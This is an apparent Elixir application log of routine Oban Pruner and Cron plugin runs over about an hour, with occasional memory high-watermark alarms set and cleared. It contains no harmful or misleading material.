10:28:35.007 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:00.794 [info] {"source":"oban","duration":862,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:29:05.010 [info] {"source":"oban","duration":2519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:35.013 [info] {"source":"oban","duration":2256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:00.795 [info] {"source":"oban","duration":686,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:30:05.015 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:35.017 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:00.796 [info] {"source":"oban","duration":389,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:31:05.019 [info] {"source":"oban","duration":1919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:35.022 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:00.798 [info] {"source":"oban","duration":1346,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:32:05.025 [info] {"source":"oban","duration":2045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:35.029 [info] {"source":"oban","duration":2979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:00.799 [info] {"source":"oban","duration":405,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:33:05.031 [info] {"source":"oban","duration":1703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:35.034 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:00.800 [info] {"source":"oban","duration":709,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:34:05.036 [info] {"source":"oban","duration":1877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:35.039 [info] {"source":"oban","duration":1241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.801 [info] {"source":"oban","duration":503,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:35:05.041 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:35.045 [info] {"source":"oban","duration":1941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.803 [info] {"source":"oban","duration":575,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:36:05.048 [info] {"source":"oban","duration":2218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:35.050 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.806 [info] {"source":"oban","duration":1537,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:37:05.053 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:35.055 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.808 [info] {"source":"oban","duration":781,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:38:05.058 [info] {"source":"oban","duration":2129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:35.064 [info] {"source":"oban","duration":4978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.811 [info] {"source":"oban","duration":2379,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:39:05.066 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:35.069 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.812 [info] {"source":"oban","duration":534,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:40:05.071 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:35.074 [info] {"source":"oban","duration":1937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.814 [info] {"source":"oban","duration":1021,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:41:05.078 [info] {"source":"oban","duration":2948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:35.081 [info] {"source":"oban","duration":1959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.816 [info] {"source":"oban","duration":713,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:42:05.083 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:35.085 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.818 [info] {"source":"oban","duration":1200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:43:05.088 [info] {"source":"oban","duration":2331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:35.091 [info] {"source":"oban","duration":2038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.822 [info] {"source":"oban","duration":1144,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:44:05.093 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:35.096 [info] {"source":"oban","duration":2157,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.823 [info] {"source":"oban","duration":771,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:45:05.098 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:35.101 [info] {"source":"oban","duration":2270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.828 [info] {"source":"oban","duration":520,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:46:05.103 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:35.105 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.829 [info] {"source":"oban","duration":512,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:47:05.108 [info] {"source":"oban","duration":1772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:35.110 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.830 [info] {"source":"oban","duration":537,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:48:05.114 [info] {"source":"oban","duration":3454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:14.123 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 10:48:35.117 [info] {"source":"oban","duration":2904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:00.832 [info] {"source":"oban","duration":766,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:49:05.120 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:35.123 [info] {"source":"oban","duration":2658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:00.833 [info] {"source":"oban","duration":302,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:50:05.127 [info] {"source":"oban","duration":2332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:35.129 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.834 [info] {"source":"oban","duration":431,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:51:05.131 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:35.134 [info] {"source":"oban","duration":1993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:00.836 [info] {"source":"oban","duration":936,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:52:05.136 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:35.138 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.837 [info] {"source":"oban","duration":734,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:53:05.140 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:35.142 [info] {"source":"oban","duration":1774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.839 [info] {"source":"oban","duration":1390,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:54:05.145 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:35.147 [info] {"source":"oban","duration":1862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.840 [info] {"source":"oban","duration":804,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:55:05.150 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:35.154 [info] {"source":"oban","duration":2905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.843 [info] {"source":"oban","duration":1460,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:56:05.156 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:35.160 [info] {"source":"oban","duration":2924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:00.844 [info] {"source":"oban","duration":562,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:57:05.162 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:35.164 [info] {"source":"oban","duration":1816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.845 [info] {"source":"oban","duration":795,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:58:05.168 [info] {"source":"oban","duration":2636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:35.170 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:00.847 [info] {"source":"oban","duration":805,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:59:05.173 [info] {"source":"oban","duration":2043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:35.175 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.849 [info] {"source":"oban","duration":530,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:00:05.178 [info] {"source":"oban","duration":1988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:35.181 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:00.851 [info] {"source":"oban","duration":1408,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:01:05.183 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:35.185 [info] {"source":"oban","duration":1699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.853 [info] {"source":"oban","duration":686,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:02:05.188 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:35.190 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.857 [info] {"source":"oban","duration":2758,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:03:05.193 [info] {"source":"oban","duration":2547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:35.196 [info] {"source":"oban","duration":2502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.861 [info] {"source":"oban","duration":3358,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:04:05.199 [info] {"source":"oban","duration":2277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:14.203 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 11:04:35.203 [info] {"source":"oban","duration":3027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.863 [info] {"source":"oban","duration":1538,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:05:05.205 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:35.207 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.865 [info] {"source":"oban","duration":1069,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:06:05.209 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:35.212 [info] {"source":"oban","duration":1983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.867 [info] {"source":"oban","duration":1489,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:07:05.214 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:35.216 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.872 [info] {"source":"oban","duration":1046,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:08:05.219 [info] {"source":"oban","duration":2273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:35.221 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.873 [info] {"source":"oban","duration":663,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:09:05.223 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:35.226 [info] {"source":"oban","duration":2678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.875 [info] {"source":"oban","duration":834,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:10:05.229 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:35.232 [info] {"source":"oban","duration":2084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.878 [info] {"source":"oban","duration":1004,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:11:05.236 [info] {"source":"oban","duration":3110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:35.238 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:00.879 [info] {"source":"oban","duration":538,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:12:05.240 [info] {"source":"oban","duration":1922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:35.243 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:00.881 [info] {"source":"oban","duration":374,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:13:05.246 [info] {"source":"oban","duration":2591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:14.247 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 11:13:35.248 [info] {"source":"oban","duration":1785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:00.883 [info] {"source":"oban","duration":1632,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:14:05.252 [info] {"source":"oban","duration":1843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:35.254 [info] {"source":"oban","duration":1844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:00.886 [info] {"source":"oban","duration":1503,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:15:05.257 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:35.260 [info] {"source":"oban","duration":2314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.889 [info] {"source":"oban","duration":730,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:16:05.263 [info] {"source":"oban","duration":2178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:14.265 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 11:16:35.265 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.891 [info] {"source":"oban","duration":1039,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:17:05.269 [info] {"source":"oban","duration":2188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:35.272 [info] {"source":"oban","duration":1973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.893 [info] {"source":"oban","duration":1127,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:18:05.275 [info] {"source":"oban","duration":1976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:35.277 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.895 [info] {"source":"oban","duration":1660,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:19:05.283 [info] {"source":"oban","duration":5670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:35.285 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.897 [info] {"source":"oban","duration":1022,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:20:05.288 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:35.291 [info] {"source":"oban","duration":2116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.901 [info] {"source":"oban","duration":3445,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:21:05.293 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:35.296 [info] {"source":"oban","duration":1919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.903 [info] {"source":"oban","duration":1141,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:22:05.299 [info] {"source":"oban","duration":1878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:35.302 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.905 [info] {"source":"oban","duration":994,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:23:05.306 [info] {"source":"oban","duration":3847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:35.309 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.908 [info] {"source":"oban","duration":1152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:24:05.312 [info] {"source":"oban","duration":2219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:35.314 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.909 [info] {"source":"oban","duration":598,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:25:05.317 [info] {"source":"oban","duration":2204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:35.320 [info] {"source":"oban","duration":1792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.913 [info] {"source":"oban","duration":2462,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:26:05.323 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:35.325 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.916 [info] {"source":"oban","duration":1054,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:27:05.329 [info] {"source":"oban","duration":2919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:35.331 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.918 [info] {"source":"oban","duration":1029,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:28:05.334 [info] {"source":"oban","duration":2542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:35.338 [info] {"source":"oban","duration":2414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.919 [info] {"source":"oban","duration":287,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:29:05.340 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:35.343 [info] {"source":"oban","duration":2544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.920 [info] {"source":"oban","duration":493,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:30:05.345 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:35.349 [info] {"source":"oban","duration":2309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.921 [info] {"source":"oban","duration":471,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:31:05.354 [info] {"source":"oban","duration":4775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:35.360 [info] {"source":"oban","duration":4085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.922 [info] {"source":"oban","duration":400,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:32:05.363 [info] {"source":"oban","duration":2010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:35.366 [info] {"source":"oban","duration":2047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.925 [info] {"source":"oban","duration":533,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:33:05.369 [info] {"source":"oban","duration":2602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:35.372 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.926 [info] {"source":"oban","duration":521,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:34:05.375 [info] {"source":"oban","duration":2253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:35.377 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.927 [info] {"source":"oban","duration":454,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:35:05.380 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:35.383 [info] {"source":"oban","duration":2651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.928 [info] {"source":"oban","duration":654,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:36:05.385 [info] {"source":"oban","duration":1755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:35.387 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.929 [info] {"source":"oban","duration":464,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:37:05.389 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:35.392 [info] {"source":"oban","duration":2247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.931 [info] {"source":"oban","duration":915,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:38:05.394 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:35.398 [info] {"source":"oban","duration":2914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.935 [info] {"source":"oban","duration":1838,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:39:05.401 [info] {"source":"oban","duration":2447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:35.404 [info] {"source":"oban","duration":2126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.936 [info] {"source":"oban","duration":551,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:40:05.408 [info] {"source":"oban","duration":3627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:35.412 [info] {"source":"oban","duration":2413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.939 [info] {"source":"oban","duration":2175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:41:05.414 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:35.423 [info] {"source":"oban","duration":7473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.942 [info] {"source":"oban","duration":2730,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:42:05.425 [info] {"source":"oban","duration":1944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:35.430 [info] {"source":"oban","duration":2868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.944 [info] {"source":"oban","duration":1029,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:43:05.433 [info] {"source":"oban","duration":2348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:35.437 [info] {"source":"oban","duration":2761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:00.945 [info] {"source":"oban","duration":736,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:44:05.439 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:35.445 [info] {"source":"oban","duration":5426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.949 [info] {"source":"oban","duration":1859,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:45:05.447 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:35.450 [info] {"source":"oban","duration":2020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.951 [info] {"source":"oban","duration":1795,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:46:05.454 [info] 